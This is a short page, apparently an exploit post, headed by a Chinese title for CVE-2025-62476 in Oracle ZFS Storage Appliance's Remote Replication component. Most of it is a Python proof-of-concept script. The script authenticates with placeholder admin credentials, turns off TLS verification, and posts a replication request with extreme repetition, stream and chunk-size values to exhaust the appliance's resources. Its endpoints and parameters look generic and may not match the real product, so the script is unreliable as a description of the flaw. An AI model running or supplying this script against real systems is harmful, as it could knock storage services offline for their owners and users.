CVE-2025-62476 Oracle ZFS存储设备远程复制组件拒绝服务漏洞

# CVE-2025-62476 - Oracle ZFS Storage Appliance Kit Remote Replication DoS PoC # This PoC demonstrates a denial-of-service attack against the Remote Replication component # Note: Requires high-privileged credentials to exploit import requests import sys import time # Target configuration TARGET_HOST = "https://target-zfs-appliance:215" ADMIN_USER = "admin" ADMIN_PASS = "password123" def exploit_replication_dos(): """ Exploit CVE-2025-62476: Send crafted HTTP request to Remote Replication component to trigger denial of service condition. """ session = requests.Session() # Step 1: Authenticate with high-privileged credentials login_url = f"{TARGET_HOST}/api/auth/login" auth_payload = { "username": ADMIN_USER, "password": ADMIN_PASS } try: response = session.post(login_url, json=auth_payload, verify=False) if response.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully") except Exception as e: print(f"[!] Connection error: {e}") return False # Step 2: Send crafted request to Remote Replication endpoint replication_url = f"{TARGET_HOST}/api/replication/action" # Crafted payload designed to trigger resource exhaustion dos_payload = { "action": "replicate", "source": "local", "target": "remote", "compression": "none", "repetitions": 999999999, "concurrent_streams": 65535, "chunk_size": 0 } print("[*] Sending crafted replication request...") response = session.post(replication_url, json=dos_payload, verify=False) if response.status_code == 200: print("[+] Request accepted - DoS condition triggered") print("[*] Target system may hang or crash") return True else: print(f"[-] Request rejected with status: {response.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62476 PoC - Oracle ZFS Storage Appliance Kit DoS") print("=" * 60) exploit_replication_dos()